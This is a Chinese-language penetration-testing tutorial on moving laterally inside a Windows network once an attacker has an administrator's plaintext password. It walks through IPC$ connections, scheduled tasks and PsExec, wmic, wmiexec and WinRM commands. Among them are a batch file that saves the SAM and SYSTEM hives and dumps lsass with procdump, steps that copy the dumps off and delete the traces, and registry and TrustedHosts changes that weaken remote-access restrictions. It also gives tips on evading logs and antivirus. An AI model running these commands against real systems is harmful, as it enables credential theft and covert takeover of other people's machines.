暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

内网渗透之远程控制

横戈安全团队 2021-03-01
1310

本文目录

0x01 概述
0x02 IPC上传
    2.1 建立IPC连接
    2.2 开启共享盘
    2.3 计划任务执行命令
0x03 PSEXEC
    3.1 单命令模式
    3.2 交互模式
    3.3 采坑
0x04 WMIC
    4.1 wmic
    4.2 wmiexec.vbs
    4.3 wmiexec.py(支持Linux)
    4.3 采坑
0x05 WinRM
    5.2 Winrs
    5.2 PsRemoting
0x06 SharpRDP.exe
0x07 PTH

0x01 概述

  在内网渗透中,当我们拿到远程主机的账号和明文密码后,就可以进行进一步的信息收集,那么首先我们就得在远程主机上执行命令。整理了在Windows下远程主机执行命令的几种方法:

  1. IPC上传,结合at&schtasks

  2. PSEXEC

  3. WMIC

  4. WinRM

  5. SharpRDP.exe

  6. PTH



0x02 IPC上传

简介:建立IPC连接后,就可以访问目标机器的文件(上传、下载),上传和下载文件直接通过copy和move命令就可以,不过路径要换成UNC路径。然后结合计划任务即可在远程主机上执行命令。

IPC$的利用条件

  1. 开启了139、445端口

  2. 管理员开启了默认共享

2.1 建立IPC连接

net use 命令:

net use \\ ip                         建立空连接,空账号密码连接
net use \\ip /u:username password
net use * /del /yes 删除全部连接
net use z: \\192.168.86.130\C$        将目标靶机的C盘映射到本地z盘
copy 1.bat \\192.168.86.130\C$\       将1.bat复制到目标机器的c盘下 
move \\192.168.86.130\C$\Sys.hiv C:\
move \\192.168.86.130\C$\Sam.hiv C:\
move \\192.168.86.130\C$\lsass.dmp C:\
del \\192.168.86.130\C$\1.bat
del \\192.168.86.130\C$\procdump64.exe

net use 错误代码:

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启
动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码

2.2 开启共享盘

有时候当我们建立ipc连接后,发现目标主机没有共享盘,无法上传和下载文件:

这个时候我们可以用命令开启一个共享盘:net share(命令)共享名=盘符:\哪个文件夹\哪个文件夹
比如:

net share myshare=d:\downloads\share

把d:\下的downloads文件夹里的share共享为myshare。

2.3 计划任务执行命令

上传文件后,可以利用计划任务和定时功能,来执行我们的工具。
在windows vista 以及win7 以上版本,使用schtasks 代替 win xp里面的at命令,来实现任务计划和定时功能。这里我们以win2008环境进行试验:
1)复制procdump64.exe到目标机器C盘
2)将以下命令写入一个bat文件,然后复制到C盘保存为1.bat:

cd c:\
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3)创建计划任务执行bat文件

schtasks /create /tn asp_net /tr "c:\1.bat" /sc once /st 23:58 /S 192.168.86.130 /u administrator /p 123qwe!@#

4)执行该计划任务

schtasks /run /tn asp_net /S \\192.168.86.130 /u administrator /p 123qwe!@#

执行之后dir \\192.168.86.130查看C盘是否生成密码相关文件


5)将文件移动出来然后删除相关文件

move \\192.168.86.130\C$\Sys.hiv C:\
move \\192.168.86.130\C$\Sam.hiv C:\
move \\192.168.86.130\C$\lsass.dmp C:\
del \\192.168.86.130\C$\1.bat
del \\192.168.86.130\C$\procdump64.exe

6)最后删除计划任务

schtasks /F /delete /tn asp_net /S \\192.168.86.130 /u administrator /p 123qwe!@#

========= === 参数详解 === ========

/tn TaskName    指定任务的名称。
/tr TaskRun 指定任务运行的程序或命令。没有路径的情况下默认程序在Systemroot\System32目录下。
/sc schedule 指定计划类型。
ONCE 在指定时间运行一次
ONSTART 在每次系统启动的时候运行
ONLOGON 每当用户(任意用户)登录的时候,任务就运行
ONIDLE 只要系统空闲了指定的时间,任务就运行
/st StartTime 以HH:MM:SS24 小时格式指定时间。默认值是命令完成时的当前本地时间。
/st参数只对于MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。
有效值为时间单位 :MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 每分、每小时、每天、每周、每月
/s Computer 指定远程计算机的名称或 IP 地址。默认值是本地计算机。
/ru {[Domain\]User|"System"} 使用指定用户帐户的权限运行任务。默认情况下,使用用户登录到运行 SchTasks 的计算机上的权限运行任务。

0x03 PSEXEC

psexec是一个远程执行工具,你可以像使用telnet一样使用它。
它的使用格式:

psexec.exe \\远程机器ip [-u username] [-p password] [-c] [-i] [-d] program [arguments]

参数:

-c #<[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d #不等待程序执行完就返回,(比如要让远程机器运行tftp服务端的时候使用,不然psexec命令会一直等待tftp程序结束才会返回)
-i #在远程机器上运行一个名为psexesvc进程,(到底什么用弄不明白)

2)让远程机器执行本地上的文件(getpass64.exe在本机的D盘上):

PsExec.exe \\192.168.80.134 -u administrator -p bluedon123,. -c D:\getpass64.exe -d

不需要上传到远程机器,即可让远程机器执行读取密码的工具,获取到账号密码。
这里只是举例,实际环境中执行cs上线、msf后门都是可以的。

3.2 交互模式

每次只能执行一条命令还是有点不方便,这个时候可以使用下面的命令获取一个交互式的cmd:

PsExec.exe \\192.168.86.130 -u administrator -p 123qwe!@ cmd.exe

3.3 采坑

1)找不到网络名:

找不到网络名,判断目标主机已禁用ADMIN$共享

2)有时候会报错,第一次使用必须加上-accepteula参数,不显示license对话框:


0x04 WMIC

WMI的全称是Windows Management Instrumentation,它出现在所有的Windows操作系统中,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,Windows系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入磁盘,增加了隐蔽性。

常见的WMI攻击工具有:

  • Windows本地的测试工具wmic

  • wmiexec.vbs (国人制造 为了回显会写文件)

  • impackets wmiexec (Linux跨window经常用)

4.1 wmic

window本地的测试工具wmic默认情况下无法得到回显。
在远程主机上运行计算器:

wmic /node:192.168.86.130 /user:administrator /password:123qwe!@ process call create calc.exe

需要注意的是:当远程执行代码时,请务必使用不受UAC限制的帐户。比如说administrator帐户和具有本地管理权限的域帐户等等。

4.2 wmiexec.vbs

1)单命令执行:

cscript.exe "wmiexec.vbs" /cmd 192.168.86.130 administrator 123qwe!@ "ipconfig"

2)半交互模式

cscript.exe "wmiexec v1.1.vbs" /shell 192.168.86.130 administrator 123qwe!@

4.3 wmiexec.py(支持Linux)

wmiexec.py执行命令可以回显的,并且在Linux跨window的渗透的时候经常使用。

python wmiexec.py administrator:"123qwe!@"@192.168.86.130

Linux:

4.3 采坑

wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = "wmi1.dll" ,也可以加入 -persist 参数(后台运行)

-waitX000 等待X秒后再读取结果

注意:另外有一个uac问题 非域用户 登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied 需要在win08或者2012上面执行,然后才可以连接:

cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f


0x05 WinRM

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。
实验环境:
本地机器:Windows 2008,192.168.80.130 foxyu\administrator
目标机器:Windows 2012,192.168.80.133 win-lolmf8cotkc\administrator

5.2 Winrs

利用条件:
需要双方都开启WinRM服务,Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动,Windows 2012 之后的版本默认允许远程任意主机来管理,受uac影响,仅允许本地管理员组Administrator登录,其他需要登录需要修改注册表。
命令:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

执行命令:

winrs -r:http://192.168.80.133:5985 -u:administrator -p:win2012!@ "whoami"

报错:WinRM 客户端无法处理该请求。(客户端指本地机器)

解决:在执行命令前需要配置两条命令(需要管理员权限)
1)设置为接收请求:

winrm quickconfig 或 Enable-PSRemoting -Force

2)设置TrustHosts,信任所有主机:

winrm set winrm/config/Client @{TrustedHosts="*"}

设置完成后即可执行命令:

winrs -r:http://192.168.80.133:5985 -u:administrator -p:win2012!@ "whoami"

返回交互式shell:

winrs -r:http://192.168.80.130:5985 -u:administrator -p:win2012!@ cmd.exe

5.2 PsRemoting

PsRemoting远程命令执行基于WinRM,但是利用powershell渗透可以绕过杀软,绕过白名单防护设备,并且是交互式。

命令:

Enter-PSSession 192.168.80.133 -Credential administrator

执行命令前的配置参照上一个。


0x06 SharpRDP.exe

下载地址:https://github.com/marginaldeer/SharpRDPBuild
SharpRDP利用远程桌面协议(RDP)来针对目标执行非图形身份验证的远程命令。通常我们在内网渗透时,如果想要登陆一台机器的远程桌面,那么得先进行流量代理,使用RDP应用程序/客户端,执行有效负载然后关闭会话。
利用这方法,可以省去中间步骤,直接在目标服务器上执行shellcode上线。
命令用法:

SharpRDP.exe computername=dc01 username=domain\administrator password=123456 command=calc

此方法会将正在连接的远程桌面挤下线,因此建议不要在常规时间登陆。


0x07 PTH

当然,实际情况中当我们读取密码的时候可能只能获取到密码的哈希值,且无法解密,这个时候就可以利用PTH(哈希传递攻击)来获取远程主机的权限。关于PTH的详细介绍和利用,请关注公众号,下回分晓。

文章转载自横戈安全团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论